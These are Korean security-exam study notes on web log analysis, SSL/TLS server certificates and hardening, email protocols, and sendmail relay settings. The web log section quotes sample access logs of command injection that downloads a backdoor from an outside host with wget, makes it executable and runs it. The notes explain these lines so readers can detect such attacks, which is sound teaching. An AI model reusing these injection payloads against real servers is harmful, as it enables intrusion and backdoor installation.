웹 서버 취약점 4~6, 이메일 보안1,2

웹 로그 분석
개요
-  클라이언트와 웹서버간에는 요청과 응답이 지속적으로 발생. 웹서버가 응답한 내용은 액세스 로그라는 파일에 기록되고, 오류가 발생했을 경우 에러 로그에 기록.
- 액세스 로그에는 웹서버에 요청한 자원에 대한 정보 기록
- 에러 로그에는 웹서버 또는 웹 어플리케이션(WAS)의 오류 발생 내용이 기록

 

분석목적
- 보안사고 발생 시 추적할 수 있는 증거자료
- 보안사고 발생 전 이상 징후, 해킹 시도, 해킹 성공 여부 확인
- 다양한 웹 공격 패턴 파악

 

웹 로그 구조
가) 웹 로그 종류
1) NCSA CLF
- 아파치 및 톰캣 기본 포맷
2) NCSA ELF
- CLF에 Referer값과 User- Agent값이 포함된 포맷
3) W3C ELF
- Cookie 및 사용자 정보를 추가로 남길 수 있음 IIS에서 주로 사용

나) 웹 로그 포맷 (NCSA ELF 기준)

Host	호스트 명 또는 IP 주소
Ident	클라이언트의 사용자 이름. -로 대체
Authuser	인증이 요청된 원격 사용자 이름. -로 대체
Date and Time	요청을 보내온 시간과 날짜. dd/mm/yyyy:hh:mm:ss 형태
Request	요청 라인 정보
Status	요청에 대한 처리 상태 코드
Bytes	응답데이터의 크기 (헤더 제외, 바이트수)
Referer	URL이 참조되거나 링크된 URL
User-Agent	클라이언트 OS 및 브라우저 버전 정보 (요청헤더의 정보를 여기에 남기는 것)

(복습: 요청라인 구성(요청메소드 요청URL HTTP버전))

 

다) 로그 예

192.168.111.11 - - [13/Sep/2024:11:00:01 +0900] "GET htttp://test.com/index.php HTTP/1.1" 200 255 "http://test.mail.com/view.jsp" "Mozilla/5.0 (Windows NT6.1; WOW64; Trident/7.0)"

 

Referer 식별자 (암기 요망)
: http 요청시 referer 헤더 정보를 저장한 것. 링크를 통해 페이지에 접근할 경우, 해당 링크를 가지고 있는 페이지의 url

 

 

웹 로그 분석 실습
가) 제로보드 공격 로그 예제

print_category.php의 cmd 파라미터로 원격에서 이므이 명령을 실행할 수 있는 취약점을 이용한 액세스 로그

192.168.111.11 - - [13/Sep/2024:11:00:01 +0900] "GET /print_category.php?setup=1&dir=http://www.xx.xx.com.xx/xx.gif?&cmd=id HTTP/1.1" 200 4211 192.168.111.11 - - [13/Sep/2024:11:00:01 +0900] "GET /print_category.php?setup=1&dir=http://www.xx.xx.com.xx/xx.gif?&cmd=cd%20/tmp%20;%3B%20wget%20http://attack.net/bd/backdoor HTTP/1.1" 200 4877 (cd /tmp ; wget http://attack.net/bd/backdoor) 192.168.111.11 - - [13/Sep/2024:11:00:01 +0900] "GET /print_category.php?setup=1&dir=http://www.xx.xx.com.xx/xx.gif?&cmd=cd%20/tmp%20;%20chmod%20777%20backdoor%20;%20./backdoor HTTP/1.1" 200 4877

1. 첫 번째 로그의 cmd 파라미터에 id 문자열을 전달하여 취약점 존재여부와 웹 서버 구동 권한확인

2. 두 번째 로그의 cmd 파라미터에 cd /tmp; 폴더 이동 후 wget 명령으로 backdoor 프로그램을 다운로드 받는다

3. 세 번째 로그의 cmd 파라미터에 cd /tmp; 폴더 이동 후 chmod 777 backdoor ; 백도어 프로그램 권한 변경, ./backdoor 백도어 프로그램 실행

 

 

나) 테크노트 공격 로그 예제

테크노트 취약점 중 main.cgi의 filename 파라미터로 원격에서 임의 명령을 실행할 수 있는 취약점을 이용한 액세스 로그

192.168.111.11 - - [13/Oct/2024:11:00:01 +0900] "GET /cgi/b/board/main.cgi?board=FREE&command=download&filename=|wget%20-P%20/var/tmp/%20http://xx.com/rootedoor| HTTP/1.1" 200 255 "-" "Mozilla/5.0 (Windows NT6.1; WOW64; Trident/7.0)" 192.168.111.11 - - [13/Oct/2024:11:00:01 +0900] "GET /cgi/b/board/main.cgi?board=FREE&command=download&filename=|cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20/var/tmp/;chmod%20777%20rootedoor;./rootedoor| HTTP/1.1" 200 255 "-" "Mozilla/5.0 (Windows NT6.1; WOW64; Trident/7.0)"

 

1. 첫 번째 로그에서 wget 명령어의 -P를 이용해 다운로드 경로를 /var/tmp로 지정, rootedoor 백도어 프로그램 다운로드

 

2. 두 번째 로그에서 cd .. 을 반복하여 상위 디렉터리로 이동하고 cd /var/tmp로 이동하여 rootedoor의 권한을 chmod를 777로 변경한 뒤, rootedoor를 실행함

 

 

키워드로 기억하기 : wget(다운로드), chmod 777(권한변경), 상태코드(200일 경우 공격 성공을 의미)

 

 

 

웹서버 취약점 4 END --

 

 

 

- (관련 지식)

SSL 서버 인증서 구축
가) 서버 인증서 준비
1. 신뢰할 수 있는 인증 기관을 통한 서버 인증서 발급
2. 자체 시스템을 이용한 사설 서버 인증서 발급

나) SSL/TLS 서버 인증서 설치
1) 대상 웹서버에 서버 공개키 인증서 파일, 서버 개인키 파일 설치
2) 웹서버 프로그램 메뉴얼에 따름

 

(짤막 복습
비대칭키 (공개키) 암호화
- 한 쌍의 키를 생성(개인키, 공개키)
- 송신자가 수신자의 공개키를 통해 암호화하고 수신자가 개인키로 복호화
- 키교환(암호키를 생성해 공개키로 암호화하고, 수신자는 개인키로 복호화)
- 디지털 서명(전자서명. 서명자만의 고유한 개인키로 암호화해서 서명값을 만들고, 서명자의 공개키로 복호화.)

- 처리속도가 느리고, 공개키 인증의 문제가 있음 (누구의 공개키인지 알 수 없음, 중간자공격MITM에 취약)

- 공개키 인증의 문제로 나온 것이 PKI (공개키 기반 구조) : (인증서, 인증기관CA, 등록기관RA, 저장소) )

다) 아파치 웹서버 인증서 설치 예시
1. 설정파일 : ssl.conf
SSLCertificateFile /etc/pki/tls/certs/서버인증서.crt
SSLCertificateKeyFile /etc/pki/tls/private/서버개인키.key

2. 설치 파일

서버인증서.crt와 서버개인키.key를 적절한 경로에 위치

 

2. SSL 서버 인증서 주요 항목 (X.509 v3의 기본항목, 확장항목)
가) 공개키와 주체 항목
1) 주체Subject : 인증서 소유자 정보 (DN 형식. CN이 도메인을 의미. 서브도메인까지 명시한 인증서를 권장)
2) 공개키Public Key : 인증서 소유자의 공개키 정보 (보안 가이드 : RSA 2048bit 이상)
3) 요청 도메인과 인증서 상의 주체(소유자) 불일치시 웹 브라우저 경고 안내

- 잘못된 인증서를 업로드한 경우
- 파밍 공격(가짜 사이트로 접속이 유도됨)을 당한 경우

 

나. 발급자Issuer 등 정보
1) 발급자 (인증기관 CA 정보)
2) 서명 해시 알고리즘 : 인증기관 서명 시 사용한 알고리즘 (보안 가이드 : SHA256(SHA-2) 이상)
3) 서명 알고리즘 : SHA256RSA의 의미 : 인증서의 내용을 SHA256알고리즘으로 해시한 후 해시값을 인증 기관의 RSA 개인키로 서명했다는 의미

신뢰할 수 있는 인증기관이 발급한 인증서가 아닌 상황
가) 윈도우 인증서 관리자 화면 참고 (발급 대상 등이 나와있음)
나) 웹 브라우저 경고 메시지 (보안 인증서에 문제가 있습니다 ~ )

 

다. 인증서 상태 확인 관련 필드
1) 인증서 폐지 목록 CRL Crtificate Revocation List: 유효기간 만료 전 폐지나 효력 정지된 인증서 목록. 인증서의 유효성을 확인할 수 있도록 인증기관이 배포함. 실시간 인증 서비스는 아님. (인증서 확장 영역: CRL 배포 지점)
2) OCSP 서비스 (Online Certification Revocation List): 온라인으로 실시간 인증서 상태정보를 확인할 수 있는, 인증기관이 제공하는 서비스 (인증서 확장 영역: 기관 정보 액세스(AIA))

 

체크
1. 신뢰할 수 있는 인증기관이 서명했는가?
2. URL 상의 도메인과 인증서/CN/도메인이 일치하는가?
3. 유효기간이 경과 여부
4. 인증서 상태 (해지/효력 정지/폐지)

-

 

웹서버 취약점 5 END --

 

 

보안서버 구축
개요
- 인터넷상에서 정보를 암호화하여 송수신하는 기능이 구축된 웹서버 (ex SSL/TLS 기반의 HTTP 웹서버(HTTPS))
- 이미 사용하고 있는 웹서버에 SSL/TLS 인증서나 암호화 소프트웨어를 설치하여 암호통신을 지원하는 것

(짤막복습 SSL/TLS 프로토콜
1. 기밀성 (대칭키 암호화)
2. 무결성 (메시지인증코드MAC, 해시함수)
3. 인증(인증서로 상호인증))

 

보안서버 구축의 필요성

1. 정보 유출 방지(스니핑 방지)

2. 위조/가짜 사이트 방지(피싱 방지)

3. 기업 신뢰도 향상

 

 

보안 서버 구축의 법적 근거
가) 개인정보보호법 관련 개인정보보호위원회 고시 [개인정보의 기술적 관리적 보호조치 기준]
1) 보안서버라 함은 정보통신망에서 송수신하는 정보를 암호화하여 전송하는 웹서버를 말한다 (제 2조)
2) 정보통신서비스 제공자들은 정보통신망을 통해 이용자의 개인정보 및 인증정보를 송수신할 때는 안전한 보안서버 구축 등의 조치를 통해 이를 암호화해야 한다. 보안서버는 다음 중 하나의 기능을 갖추어야 한다.
- 웹서버에 SSL 인증서를 설치하여 전송하는 정보를 암호화하여 송수신하는 기능 ( HTTPS 웹서버 )
- 웹서버에 암호화 응용 프로그램을 설치하여 전송하는 정보를 암호화하여 송수신하는 기능

(관리적 보호조치-개인정보인증정보보안서버)

 

나) 개인정보보호법 관련 개인정보보호위원회 고시 [개인정보의 안전성 확보 조치 기준]
1) 개인정보처리자는 고유식별정보(주민등록번호, 여권번호, 운전면허번호, 외국인등록번호), 비밀번호, 생체인식정보를 정보통신망을 통하여 송신할 경우 이를 암호화 하여야 한다

(안정성 - 고유비밀생체)

 

 

SSL/TLS 보안가이드
1) 키쌍 생성시 2048 bit 이상의 키를 사용. 서버 개인키에 대한 접근은 최소화하고 안전하게 관리
2) 인증서 발급 시 서명 알고리즘을 SHA256(SHA-2) 이상으로 설정

3) 인증서 발급 시 중 주체Subject/소유자의 CN(common Name)을 서브 도메인까지 정확히 명시한다 (와일드카드 * 는 비권장)

- 서브 도메인을 명시하지 않으면, 임의의 서브 도메인 인증서로 악용될 수 있음

- URL 상의 도메인과 서버 인증서의 주체 CN이 일치하지 않으면 웹브라우저에서 경고 메시지 표시

4) 신뢰할 수 있는 인증기관을 통해 인증서를 발급

5) 

 

서명 알고리즘 sha256rsa
=> 인증서 내용을 sha256으로 해시하고 인증기관의 RSA 개인키로 암호화함

 

(openssl
가장 많이 사용되는 라이브러리. aes128(대칭키 암호화) 이용해서 보관함. aes128 패스워드는 과정중에 입력하고, httpd 서비스를 기동시킬 때마다 복호화를 위해 패스워드를 입력함)

 

 

OpenSSL 라이브러리 보안 가이드
- SSL/TLS 프로토콜을 구현한 오픈소스 라이브러리.
- 취약점이 발견된 버전을 사용할 경우 보안 업데이트 수행
- openssl version 또는 -a 옵션으로 상세정보 확인

(Heart Bleed 는 서버와 클라이언트 사이에서 안정적 연결을 유지하기 위한 목적으로 일정 신호를 주고받을 때 사용하는 확장규격. 서버가 클라이언트로부터 전달받은 정보의 내용과 저보의 길이의 일치 여부를 검증하지 않은 채 정보를 보내주어 문제가 발생됨)

 

 

SSL/TLS 웹서버 설정 보안 가이드
가) 취약한 SSL2.0, SSL3.0을 비활성화하고 TLS1.0~TLS1.2 프로토콜 사용

아파치 웹서버 httpd-ssl.conf 또는 ssl.conf 설정파일

SSLProtocol all -SSLv2 -SSLv3
=> 모든 프로토콜 사용하되 SSLv2와 SSLv3 비활성화

SSLProtocol -all +TLSv1 +TLSv1.1 +TLSv1.2
=> 모든 프로토콜 비활성화하고 TLS1부터만 활성화

 

실습 : sslyze을 이용해 ip주소를 입력하면 서버에서 지원하는 인증서 정보 등을 얻어올 수 있음.

(ssllabs 사이트에서 점검 가능)

 

 

나) 취약한 암호방식을 사용하는 암호도구목록(Cipher Suite)을 제거
보안설정
ex
SSLCipherSuite ALL:!aNULL:!eNULL:!EXP:!ADH:!DES:!RC4:!MD5
!aNULL : 인증하지 않은 도구 제거
!eNULL : 암호화하지 않는 도구 제거
!EXP : 약한 암호키를 사용하는 도구 제거
!ADH : 익명 디피 헬만 도구 제거
!DES, !RC4, !MD5 : 취약한 DES, RC4 암호화 알고리즘 및 MD5 해시 알고리즘 도구 제거

 

(+ 익명 디피-헬만은 서버 디피-헬만 파라미터 교환 과정에서 인증하지 않는 취약점이 있음 키교환시 EDH, DHE, ECDHE 를 권장)

 

실습 : sslyze을 이용해 ip주소를 입력하면 Cipher Suite 목록 확인 가능

 

 

 

웹서버 취약점 6 END --

 

 

이메일 시스템이 수신자 메일주소의 메일 서버를 확인하는 방법
1. 메일서버의 도메인을 확인해야 한다 (MX 레코드 질의)
2. 도메인의 IP 주소를 확인 (A 레코드 질의)

(MX 레코드 : DNS 레코드의 하나로, 메일이 수신될 위치를 결정하는 레코드)

 

주요 프로토콜
가) SMTP (Simple Mail Transfer Protocol) : 메일 전송 프로토콜
- 메일 클라이언트mua와 메일서버 mta 또는 송수신 메일서버 mta 간에 메일 전송을 위해 사용. tcp 25 port 사용.
- SSL/TLS 통신을 적용한 프로토콜은 SMTPS이고 TCP 465 사용

나) POP3 (Post Office Protocol version 3) : 메일 접근 프로토콜
- 메일 클라이언트mua에서 메일서버mta로부터 메일을 수신할 수 있도록 해주는 프로토콜. tcp 110 port 사용
- 서버로부터 메일을 다운로드하여 서버에서 해당 메일을 삭제하므로, 다른 클라이언트에서 메일 확인 불가

- SSL/TLS 통신을 적용 => POP3s : tcp 995 port

다) IMAP (Internet Message Access Protocol) : 메일 접근 프로토콜
- POP3과 동일한 역할. tcp 143 port 사용
- 서버로부터 메일을 복사해오는 방식. 서버에 해당 메일이 계속 남아있다.
- SSL/TLS 통신을 적용 => IMAPS : tcp 993 port

 

 

메일 서버 구조

가) MUA (Mail User Agent)
- 메일 클라이언트 프로그램
- 아웃룩, 선더버드 등

나) MTA (Mail Transfer Agent)
- 메일 서버 프로그램. 수신한 메일을 분석하여, 수신자가 자신이 아니면 해당 주소의 메일서버로 전송(메일 릴레이). 자신의 주소라면 MDA를 통해 메일함에 저장.
- 센드메일sendmail, 큐메일 등

(센드메일에서 메일을 임시로 저장하기 위해서 /var/spool/mqueue 를 사용함
센드메일에서 사용하는 메일함 디렉터리 : /var/spool/mail )

다) MDA (Mail Delivery Agent)
- 사용자 메일함에 메일을 저장해주는 프로그램.
- 프록메일 등.

라) MRA (Mail Retrieval Agent)

- 메일 클라이언트가 확인을 요청하는 메일을 사용자 메일함에서 사용자로 전달해주는 프로그램.
- MUA와 MRA간 통신은 POP3 또는 IMAP 프로토콜 사용

 

 

동작방식
1) 메일클라이언트mua를 이용해 메일을 작성하고, smtp 프로토콜을 통해 메일서버mta로 전송한다.
2) 메일서버mta는 메일큐에 수신한 메일을 임시 저장하고, 수신한 메일을 분석해 수신자가 자신이 아니라면 해당 주소의 메일 서버로 smtp 프로토콜을 이용해 전송(메일 릴레이). 자신이 수신자라면 mda를 통해 각 사용자 메일함에 파일 형태로 저장한다.
(센드메일의 경우, 메일큐는 /var/spool/mqueue 디렉터리 사용. 메일함은 /var/spool/mail 디렉터리 사용)
3) 사용자가 메일 클라이언트mua를 통해 자신의 메일 확인을 요청하면, mra는 해당 사용자의 메일함에 있는 메일을 pop3 또는 imap 프로토콜로 클라이언트에 전달함.

 

 

SMTP 메일 형식
개요
- 텍스트 기반의 프로토콜. 봉투Envelope와 메시지 정보를 주고받는다.
- 봉투 : 발신자 메일 주소(Mail From 명령어), 수신자 메일 주소(RCPT To 명령어) 메일 서버만 볼 수 있는 정보. Mail From은 조작되는 경우가 많아 신뢰성이 낮다.
- 메시지_헤더Header : Received, Return-Path, From, To, Subject ... (From은 조작될 수 있어 신뢰성이 낮다)
- 메시지_바디Body : 본문

- 메시지를 전달하기 위해 DATA 명령어 사용

 

 

실습

telnet 메일서버주소 25 로 접속
HELLO 접속자 도메인명
MAIL FROM: 메일주소
RCPT TO: 수신자 메일 주소
DATA
SUBJECT: 제목입력
바디내용(개행)
.(개행)

바디의 끝을 의미하는 (개행).(개행)

 

 

SMTP 프로토콜 취약점 및 대응기술
가) 발신 메일 서버 조작(스푸핑)
- MAIL FROM 정보는 조작이 가능하기 때문에 속일 수 있다
- 대응기술 : SPF 메일 인증 기술 적용 (발신자 메일서버 인증, 메일서버 등록제)

나) 메일 메시지 훔쳐보기 (스니핑) 및 조작 (스푸핑)
- 평문 전송이므로, 메시지를 훔쳐보거나 조작하는 중간자공격MITM이 발생할 수 있다
- 대응기술 : 발신자측에서 메시지에 대한 디지털서명을 추가하여 위변조 여부를 검사할 수 있는 DKIM 메일인증 기술 적용
-                 통신 구간 보안 적용이 가능한 SMPTS, POP3S, IMAPS 등의 프로토콜 설정

다) DMARC 메일 인증 기술의 적용
- SPF와 DKIM 인증 기술을 모두 적용할 수 있고 인증 결과에 대해 모니터링이 가능한 기술

 

 

이메일 보안 1 END --

 

메일서버sendmail 보안 설정

개요
- SMTP 릴레이 : 메일서버 외부에서 메일서버를 경유하여, 다른 메일서버로 메일을 발송하는 것. 경유한 메일서버를 SMTP 릴레이 서버라고 함.
- SMTP 릴레이 서버의 발신자 인증 여부에 따라, 오픈 릴레이 서버와 인증된 릴레이 서버로 구분.
- 오픈 릴레이 서버 : 인증없이 모든 메일을 릴레이 해주는 메일서버. 스팸 메일 발신자의 메일서버로 악용되는 사례가 흔히 발생
- 허가된 IP/대역/도메인 등에서만 메일 릴레이가 가능하도록 발신자를 제한하고, SMTP AUTH 인증 기능을 사용한다.

 

센드메일sendmail 서버 스팸메일 및 릴레이 차단 설정
개요
- SMTP 프로토콜을 통해서 메일서버 간에 메일을 주고받는 역할을 수행하는 무료 오픈소스 소프트웨어
- 8.9버전 이후부터 스팸차단 관련 기능이 추가되었고 access DB라는 데이터베이스를 이용해 특정 메일의 차단 및 릴레이 제한을 설정 가능

 

주요파일 및 디렉터리(리눅스 기준)

/usr/sbin/sendmail	주 데몬 실행파일
/usr/sbin/makemap	맵 생성 실행파일 (access 등의 db 파일 생성)
/var/spool/mqueue	메일 큐 디렉터리 (임시 저장)
/var/spool/mail	개별 사용자 메일함
/etc/mail/access	스팸메일 및 릴레이 차단을 위한 설정 파일 - access 파일은 설정을 위한 텍스트파일로 실제 정책을 적용하기 위해서는 makemap 명령을 이용해 access.db 파일을 생성해야 함
/etc/mail/sendmail.cf	설정 파일

 

 

access 파일 설정
형식 : [적용대상지정] [처리방식지정]

 

적용대상 : ip, ip 대역, 도메인, 메일주소 등

처리방식
1) OK : 조건없이 모두 허용
2) RELAY : 지정한 대상의 메일 릴레이 허용
(기본적으로 로컬호스트 외에는 릴레이를 허용하지 않으므로, 릴레이가 필요한 사용자를 설정해주어야 함)
3) REJECT : 지정 대상의 메일을 모두 거부 (거부 메시지 보냄)
4) DISCARD : 지정 대상의 메일을 모두 폐기 (메시지X, 발신자에겐 Sender OK 정상처리로 인식됨)
5) 501 message : 지정한 발신자/수신자가 일치하면 메일을 거부하고 거부 메시지를 보낸다

 

설정 예시
192.168.10   RELAY
=> 192.168.10 으로 시작하는 ip 대역을 모두 허용

test.co.kr   REJECT
=> test.co.kr 도메인의 메일을 모두 거부하고 거부 메시지를 보낸다

10.10.10.10   OK
=> 10.10.10.10 ip의 메일을 모두 허용

192.177.15.11   DISCARD
=> 192.177.15.11 ip의 메일을 모두 폐기한다 (메시지 x)

testtt@naver.com   501   "[501 msg] You are not allowed..."
=> testtt@naver.com 과 일치하는 메일주소는 거부하고, 설정한 거부메시지를 보냄

 

* 설정 예시를 보고 서술할 수 있을 정도로 암기필요

 

 

메일서버의 로그파일 위치 : /var/log/maillog

 

 

access 파일 적용
ex
makemap hash /etc/mail/access < /etc/mail/access

 

 

 

이메일 보안 2 END --